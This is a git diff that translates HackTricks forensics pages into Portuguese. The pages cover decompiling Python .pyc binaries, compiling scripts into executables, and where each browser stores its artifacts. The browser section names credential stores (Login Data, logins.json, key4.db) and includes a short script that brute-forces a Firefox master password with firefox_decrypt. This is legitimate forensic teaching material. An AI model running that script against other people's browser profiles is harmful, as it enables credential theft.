+# Decompile compilados binários python (exe, elf) - Recuperar de .pyc
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

 
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
-
-## From Compiled Binary to .pyc
-
-From an **ELF** compiled binary you can **get the .pyc** with:
+## De Binário Compilado para .pyc
 
+De um binário compilado **ELF** você pode **obter o .pyc** com:
 ```bash
 pyi-archive_viewer 
 # The list of python modules will be given here:
 [(0, 230, 311, 1, 'm', 'struct'),
- (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
- (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
- (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
- (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
- (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
- (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
- (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
- (15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
- (15535, 2514, 4421, 1, 's', 'binary_name'),
+(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
+(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
+(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
+(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
+(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
+(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
+(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
+(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
+(15535, 2514, 4421, 1, 's', 'binary_name'),
 ...
 
 ? X binary_name
 to filename? /tmp/binary.pyc
 ```
-
-In a **python exe binary** compiled you can **get the .pyc** by running:
-
+Em um **binário exe python** compilado, você pode **obter o .pyc** executando:
 ```bash
 python pyinstxtractor.py executable.exe
 ```
+## De .pyc para código python
 
-## From .pyc to python code
-
-For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**:
-
+Para os dados **.pyc** ("compilado" python), você deve começar tentando **extrair** o **código** **python** **original**:
 ```bash
 uncompyle6 binary.pyc  > decompiled.py
 ```
+**Certifique-se** de que o binário tem a **extensão** "**.pyc**" (se não, o uncompyle6 não vai funcionar)
 
-**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work)
-
-While executing **uncompyle6** you might find the **following errors**:
-
-### Error: Unknown magic number 227
+Ao executar o **uncompyle6**, você pode encontrar os **seguintes erros**:
 
+### Erro: Número mágico desconhecido 227
 ```bash
 /kali/.local/bin/uncompyle6 /tmp/binary.pyc
 Unknown magic number 227 in /tmp/binary.pyc
 ```
+Para corrigir isso, você precisa **adicionar o número mágico correto** no início do arquivo gerado.
 
-To fix this you need to **add the correct magic number** at the beginning of the generated file.
-
-**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute:
-
+**Os números mágicos variam com a versão do python**, para obter o número mágico do **python 3.8** você precisará **abrir um terminal python 3.8** e executar:
 ```
 >> import imp
 >> imp.get_magic().hex()
 '550d0d0a'
 ```
+O **número mágico** neste caso para python3.8 é **`0x550d0d0a`**, então, para corrigir esse erro, você precisará **adicionar** no **início** do **.pyc file** os seguintes bytes: `0x0d550a0d000000000000000000000000`
 
-The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000`
-
-**Once** you have **added** that magic header, the **error should be fixed.**
-
-This is how a correctly added **.pyc python3.8 magic header** will look like:
+**Uma vez** que você tenha **adicionado** esse cabeçalho mágico, o **erro deve ser corrigido.**
 
+Assim é como um **cabeçalho mágico .pyc python3.8** corretamente adicionado deve parecer:
 ```bash
 hexdump 'binary.pyc' | head
 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@@ -79,25 +63,23 @@ hexdump 'binary.pyc' | head
 0000020 0700 0000 4000 0000 7300 0132 0000 0064
 0000030 0164 006c 005a 0064 0164 016c 015a 0064
 ```
+### Erro: Decompilando erros genéricos
 
-### Error: Decompiling generic errors
+**Outros erros** como: `class 'AssertionError'>; co_code deve ser um dos tipos (, , , ); é do tipo ` podem aparecer.
 
-**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear.
+Isso provavelmente significa que você **não adicionou corretamente** o número mágico ou que você não **usou** o **número mágico correto**, então **certifique-se de usar o correto** (ou tente um novo).
 
-This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one).
+Verifique a documentação do erro anterior.
 
-Check the previous error documentation.
+## Ferramenta Automática
 
-## Automatic Tool
+A [**ferramenta python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) serve como uma combinação de várias ferramentas disponíveis na comunidade projetadas para ajudar pesquisadores a desempacotar e decompilar executáveis escritos em Python, especificamente aqueles criados com py2exe e pyinstaller. Inclui regras YARA para identificar se um executável é baseado em Python e confirma a ferramenta de criação.
 
-The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool.
+### ImportError: Nome do arquivo: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' não existe
 
-### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist
-
-A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process.
-
-Example of the issue:
+Um problema comum encontrado envolve um arquivo de bytecode Python incompleto resultante do **processo de desempacotamento com unpy2exe ou pyinstxtractor**, que então **não é reconhecido pelo uncompyle6 devido a um número de versão de bytecode Python ausente**. Para resolver isso, uma opção de prepend foi adicionada, que anexa o número de versão de bytecode Python necessário, facilitando o processo de decompilação.
 
+Exemplo do problema:
 ```python
 # Error when attempting to decompile without the prepend option
 test@test: uncompyle6 unpacked/malware_3.exe/archive.py
@@ -115,11 +97,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
 # Successfully decompiled file
 [+] Successfully decompiled.
 ```
+## Analisando a montagem do python
 
-## Analyzing python assembly
-
-If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2:
-
+Se você não conseguiu extrair o código "original" do python seguindo os passos anteriores, então você pode tentar **extrair** a **montagem** (mas **não é muito descritivo**, então **tente** extrair **novamente** o código original). Em [aqui](https://bits.theorem.co/protecting-a-python-codebase/) eu encontrei um código muito simples para **desmontar** o binário _.pyc_ (boa sorte entendendo o fluxo do código). Se o _.pyc_ for do python2, use python2:
 ```bash
 >>> import dis
 >>> import marshal
@@ -145,34 +125,32 @@ True
 >>>
 >>> # Disassemble the code object
 >>> dis.disassemble(code)
-  1           0 LOAD_CONST               0 ()
-              3 MAKE_FUNCTION            0
-              6 STORE_NAME               0 (hello_world)
-              9 LOAD_CONST               1 (None)
-             12 RETURN_VALUE
+1           0 LOAD_CONST               0 ()
+3 MAKE_FUNCTION            0
+6 STORE_NAME               0 (hello_world)
+9 LOAD_CONST               1 (None)
+12 RETURN_VALUE
 >>>
 >>> # Also disassemble that const being loaded (our function)
 >>> dis.disassemble(code.co_consts[0])
-  2           0 LOAD_CONST               1 ('Hello  {0}')
-              3 LOAD_ATTR                0 (format)
-              6 LOAD_FAST                0 (name)
-              9 CALL_FUNCTION            1
-             12 PRINT_ITEM
-             13 PRINT_NEWLINE
-             14 LOAD_CONST               0 (None)
-             17 RETURN_VALUE
+2           0 LOAD_CONST               1 ('Hello  {0}')
+3 LOAD_ATTR                0 (format)
+6 LOAD_FAST                0 (name)
+9 CALL_FUNCTION            1
+12 PRINT_ITEM
+13 PRINT_NEWLINE
+14 LOAD_CONST               0 (None)
+17 RETURN_VALUE
 ```
+## Python para Executável
 
-## Python to Executable
+Para começar, vamos mostrar como os payloads podem ser compilados no py2exe e no PyInstaller.
 
-To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller.
-
-### To create a payload using py2exe:
-
-1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org)
-2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe.
-3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2.
+### Para criar um payload usando py2exe:
 
+1. Instale o pacote py2exe de [http://www.py2exe.org/](http://www.py2exe.org)
+2. Para o payload (neste caso, vamos nomeá-lo de hello.py), use um script como o da Figura 1. A opção “bundle_files” com o valor de 1 irá agrupar tudo, incluindo o interpretador Python, em um único exe.
+3. Uma vez que o script esteja pronto, emitiremos o comando “python setup.py py2exe”. Isso criará o executável, assim como na Figura 2.
 ```python
 from distutils.core import setup
 import py2exe, sys, os
@@ -180,10 +158,10 @@ import py2exe, sys, os
 sys.argv.append('py2exe')
 
 setup(
-    options = {'py2exe': {'bundle_files': 1}},
-    #windows = [{'script': "hello.py"}],
-  console = [{'script': "hello.py"}],
-    zipfile = None,
+options = {'py2exe': {'bundle_files': 1}},
+#windows = [{'script': "hello.py"}],
+console = [{'script': "hello.py"}],
+zipfile = None,
 )
 ```
 
@@ -200,12 +178,10 @@ running py2exe
 copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
 Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
 ```
+### Para criar um payload usando PyInstaller:
 
-### To create a payload using PyInstaller:
-
-1. Install PyInstaller using pip (pip install pyinstaller).
-2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable.
-
+1. Instale o PyInstaller usando pip (pip install pyinstaller).
+2. Depois disso, emitiremos o comando “pyinstaller –onefile hello.py” (um lembrete de que ‘hello.py’ é nosso payload). Isso irá agrupar tudo em um único executável.
 ```
 C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
 108 INFO: PyInstaller: 3.3.1
@@ -218,15 +194,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
 6325 INFO: Building EXE from out00-EXE.toc completed successfully.
 ```
-
-## References
+## Referências
 
 - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
 
-

-
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md
index 76fa3ef23..f4b4c7e9f 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md
@@ -1,6 +1,6 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
-Here you can find interesting tricks for specific file-types and/or software:
+Aqui você pode encontrar truques interessantes para tipos de arquivos e/ou software específicos:
 
 {{#ref}}
 .pyc.md
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
index ba35ea1fd..74e60b7ac 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
@@ -1,139 +1,129 @@
-# Browser Artifacts
+# Artefatos do Navegador
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

+## Artefatos do Navegador 
 
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+Os artefatos do navegador incluem vários tipos de dados armazenados pelos navegadores da web, como histórico de navegação, favoritos e dados de cache. Esses artefatos são mantidos em pastas específicas dentro do sistema operacional, variando em localização e nome entre os navegadores, mas geralmente armazenando tipos de dados semelhantes.
 
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+Aqui está um resumo dos artefatos de navegador mais comuns:
 
-## Browsers Artifacts 
-
-Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types.
-
-Here's a summary of the most common browser artifacts:
-
-- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites.
-- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history.
-- **Bookmarks**: Sites saved by the user for quick access.
-- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user.
-- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis.
-- **Logins**: Stored login credentials.
-- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits.
-- **Browser Sessions**: Data related to open browser sessions.
-- **Downloads**: Records of files downloaded through the browser.
-- **Form Data**: Information entered in web forms, saved for future autofill suggestions.
-- **Thumbnails**: Preview images of websites.
-- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary.
+- **Histórico de Navegação**: Rastreia as visitas do usuário a sites, útil para identificar visitas a sites maliciosos.
+- **Dados de Autocompletar**: Sugestões baseadas em pesquisas frequentes, oferecendo insights quando combinadas com o histórico de navegação.
+- **Favoritos**: Sites salvos pelo usuário para acesso rápido.
+- **Extensões e Complementos**: Extensões ou complementos do navegador instalados pelo usuário.
+- **Cache**: Armazena conteúdo da web (por exemplo, imagens, arquivos JavaScript) para melhorar os tempos de carregamento do site, valioso para análise forense.
+- **Logins**: Credenciais de login armazenadas.
+- **Favicons**: Ícones associados a sites, aparecendo em abas e favoritos, úteis para informações adicionais sobre as visitas do usuário.
+- **Sessões do Navegador**: Dados relacionados a sessões de navegador abertas.
+- **Downloads**: Registros de arquivos baixados através do navegador.
+- **Dados de Formulário**: Informações inseridas em formulários da web, salvas para sugestões de preenchimento automático futuras.
+- **Miniaturas**: Imagens de pré-visualização de sites.
+- **Custom Dictionary.txt**: Palavras adicionadas pelo usuário ao dicionário do navegador.
 
 ## Firefox
 
-Firefox organizes user data within profiles, stored in specific locations based on the operating system:
+O Firefox organiza os dados do usuário dentro de perfis, armazenados em locais específicos com base no sistema operacional:
 
 - **Linux**: `~/.mozilla/firefox/`
 - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
 - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
 
-A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted.
+Um arquivo `profiles.ini` dentro desses diretórios lista os perfis de usuário. Os dados de cada perfil são armazenados em uma pasta nomeada na variável `Path` dentro de `profiles.ini`, localizada no mesmo diretório que o próprio `profiles.ini`. Se a pasta de um perfil estiver faltando, pode ter sido excluída.
 
-Within each profile folder, you can find several important files:
+Dentro de cada pasta de perfil, você pode encontrar vários arquivos importantes:
 
-- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data.
-  - Use specific SQL queries to extract history and downloads information.
-- **bookmarkbackups**: Contains backups of bookmarks.
-- **formhistory.sqlite**: Stores web form data.
-- **handlers.json**: Manages protocol handlers.
-- **persdict.dat**: Custom dictionary words.
-- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions.
-- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows.
-- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
-- **favicons.sqlite**: Stores favicons.
-- **prefs.js**: User settings and preferences.
-- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite.
-- **thumbnails**: Website thumbnails.
-- **logins.json**: Encrypted login information.
-- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information.
+- **places.sqlite**: Armazena histórico, favoritos e downloads. Ferramentas como [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) no Windows podem acessar os dados de histórico.
+- Use consultas SQL específicas para extrair informações de histórico e downloads.
+- **bookmarkbackups**: Contém backups de favoritos.
+- **formhistory.sqlite**: Armazena dados de formulários da web.
+- **handlers.json**: Gerencia manipuladores de protocolo.
+- **persdict.dat**: Palavras do dicionário personalizado.
+- **addons.json** e **extensions.sqlite**: Informações sobre complementos e extensões instalados.
+- **cookies.sqlite**: Armazenamento de cookies, com [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponível para inspeção no Windows.
+- **cache2/entries** ou **startupCache**: Dados de cache, acessíveis através de ferramentas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
+- **favicons.sqlite**: Armazena favicons.
+- **prefs.js**: Configurações e preferências do usuário.
+- **downloads.sqlite**: Banco de dados de downloads mais antigos, agora integrado ao places.sqlite.
+- **thumbnails**: Miniaturas de sites.
+- **logins.json**: Informações de login criptografadas.
+- **key4.db** ou **key3.db**: Armazena chaves de criptografia para proteger informações sensíveis.
 
-Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled.
-
-To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
-With the following script and call you can specify a password file to brute force:
+Além disso, verificar as configurações de anti-phishing do navegador pode ser feito pesquisando entradas `browser.safebrowsing` em `prefs.js`, indicando se os recursos de navegação segura estão ativados ou desativados.
 
+Para tentar descriptografar a senha mestra, você pode usar [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
+Com o seguinte script e chamada, você pode especificar um arquivo de senha para força bruta:
 ```bash:brute.sh
 #!/bin/bash
 
 #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
 passfile=$1
 while read pass; do
-  echo "Trying $pass"
-  echo "$pass" | python firefox_decrypt.py
+echo "Trying $pass"
+echo "$pass" | python firefox_decrypt.py
 done < $passfile
 ```
-
 ![](<../../../images/image (417).png>)
 
 ## Google Chrome
 
-Google Chrome stores user profiles in specific locations based on the operating system:
+O Google Chrome armazena perfis de usuário em locais específicos com base no sistema operacional:
 
 - **Linux**: `~/.config/google-chrome/`
 - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
 - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
 
-Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data:
+Dentro desses diretórios, a maioria dos dados do usuário pode ser encontrada nas pastas **Default/** ou **ChromeDefaultData/**. Os seguintes arquivos contêm dados significativos:
 
-- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads.
-- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available.
-- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
-- **Bookmarks**: User bookmarks.
-- **Web Data**: Contains form history.
-- **Favicons**: Stores website favicons.
-- **Login Data**: Includes login credentials like usernames and passwords.
-- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs.
-- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed.
-- **Extensions**: Directories for browser extensions and addons.
-- **Thumbnails**: Stores website thumbnails.
-- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more.
-- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output.
+- **History**: Contém URLs, downloads e palavras-chave de pesquisa. No Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) pode ser usado para ler o histórico. A coluna "Transition Type" tem vários significados, incluindo cliques do usuário em links, URLs digitadas, envios de formulários e recarregamentos de página.
+- **Cookies**: Armazena cookies. Para inspeção, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) está disponível.
+- **Cache**: Contém dados em cache. Para inspeção, os usuários do Windows podem utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
+- **Bookmarks**: Favoritos do usuário.
+- **Web Data**: Contém histórico de formulários.
+- **Favicons**: Armazena favicons de sites.
+- **Login Data**: Inclui credenciais de login, como nomes de usuário e senhas.
+- **Current Session**/**Current Tabs**: Dados sobre a sessão de navegação atual e abas abertas.
+- **Last Session**/**Last Tabs**: Informações sobre os sites ativos durante a última sessão antes do Chrome ser fechado.
+- **Extensions**: Diretórios para extensões e complementos do navegador.
+- **Thumbnails**: Armazena miniaturas de sites.
+- **Preferences**: Um arquivo rico em informações, incluindo configurações para plugins, extensões, pop-ups, notificações e mais.
+- **Browser’s built-in anti-phishing**: Para verificar se a proteção contra phishing e malware está ativada, execute `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Procure por `{"enabled: true,"}` na saída.
 
-## **SQLite DB Data Recovery**
+## **Recuperação de Dados do SQLite DB**
 
-As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
+Como você pode observar nas seções anteriores, tanto o Chrome quanto o Firefox usam bancos de dados **SQLite** para armazenar os dados. É possível **recuperar entradas deletadas usando a ferramenta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
 
 ## **Internet Explorer 11**
 
-Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management.
+O Internet Explorer 11 gerencia seus dados e metadados em vários locais, ajudando a separar as informações armazenadas e seus detalhes correspondentes para fácil acesso e gerenciamento.
 
-### Metadata Storage
+### Armazenamento de Metadados
 
-Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype.
+Os metadados do Internet Explorer são armazenados em `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (com VX sendo V01, V16 ou V24). Acompanhando isso, o arquivo `V01.log` pode mostrar discrepâncias no tempo de modificação com `WebcacheVX.data`, indicando a necessidade de reparo usando `esentutl /r V01 /d`. Esses metadados, alojados em um banco de dados ESE, podem ser recuperados e inspecionados usando ferramentas como photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivamente. Dentro da tabela **Containers**, pode-se discernir as tabelas ou contêineres específicos onde cada segmento de dados é armazenado, incluindo detalhes de cache para outras ferramentas da Microsoft, como Skype.
 
-### Cache Inspection
+### Inspeção de Cache
 
-The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times.
+A ferramenta [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permite a inspeção de cache, exigindo a localização da pasta de extração de dados de cache. Os metadados do cache incluem nome do arquivo, diretório, contagem de acessos, origem da URL e timestamps indicando os tempos de criação, acesso, modificação e expiração do cache.
 
-### Cookies Management
+### Gerenciamento de Cookies
 
-Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory.
+Os cookies podem ser explorados usando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), com metadados abrangendo nomes, URLs, contagens de acesso e vários detalhes relacionados ao tempo. Cookies persistentes são armazenados em `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, com cookies de sessão residindo na memória.
 
-### Download Details
+### Detalhes de Download
 
-Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
+Os metadados de downloads estão acessíveis via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), com contêineres específicos armazenando dados como URL, tipo de arquivo e local de download. Arquivos físicos podem ser encontrados em `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
 
-### Browsing History
+### Histórico de Navegação
 
-To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
+Para revisar o histórico de navegação, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) pode ser usado, exigindo a localização dos arquivos de histórico extraídos e configuração para o Internet Explorer. Os metadados aqui incluem tempos de modificação e acesso, junto com contagens de acesso. Os arquivos de histórico estão localizados em `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
 
-### Typed URLs
+### URLs Digitadas
 
-Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times.
+URLs digitadas e seus horários de uso são armazenados no registro sob `NTUSER.DAT` em `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando os últimos 50 URLs inseridos pelo usuário e seus últimos horários de entrada.
 
 ## Microsoft Edge
 
-Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are:
+O Microsoft Edge armazena dados do usuário em `%userprofile%\Appdata\Local\Packages`. Os caminhos para vários tipos de dados são:
 
 - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
 - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
@@ -143,38 +133,30 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p
 
 ## Safari
 
-Safari data is stored at `/Users/$User/Library/Safari`. Key files include:
+Os dados do Safari são armazenados em `/Users/$User/Library/Safari`. Os arquivos principais incluem:
 
-- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query.
-- **Downloads.plist**: Information about downloaded files.
-- **Bookmarks.plist**: Stores bookmarked URLs.
-- **TopSites.plist**: Most frequently visited sites.
-- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve.
-- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse.
-- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse.
-- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active.
+- **History.db**: Contém tabelas `history_visits` e `history_items` com URLs e timestamps de visita. Use `sqlite3` para consultar.
+- **Downloads.plist**: Informações sobre arquivos baixados.
+- **Bookmarks.plist**: Armazena URLs favoritas.
+- **TopSites.plist**: Sites mais visitados.
+- **Extensions.plist**: Lista de extensões do navegador Safari. Use `plutil` ou `pluginkit` para recuperar.
+- **UserNotificationPermissions.plist**: Domínios permitidos para enviar notificações. Use `plutil` para analisar.
+- **LastSession.plist**: Abas da última sessão. Use `plutil` para analisar.
+- **Browser’s built-in anti-phishing**: Verifique usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Uma resposta de 1 indica que o recurso está ativo.
 
 ## Opera
 
-Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads.
+Os dados do Opera residem em `/Users/$USER/Library/Application Support/com.operasoftware.Opera` e compartilham o formato do Chrome para histórico e downloads.
 
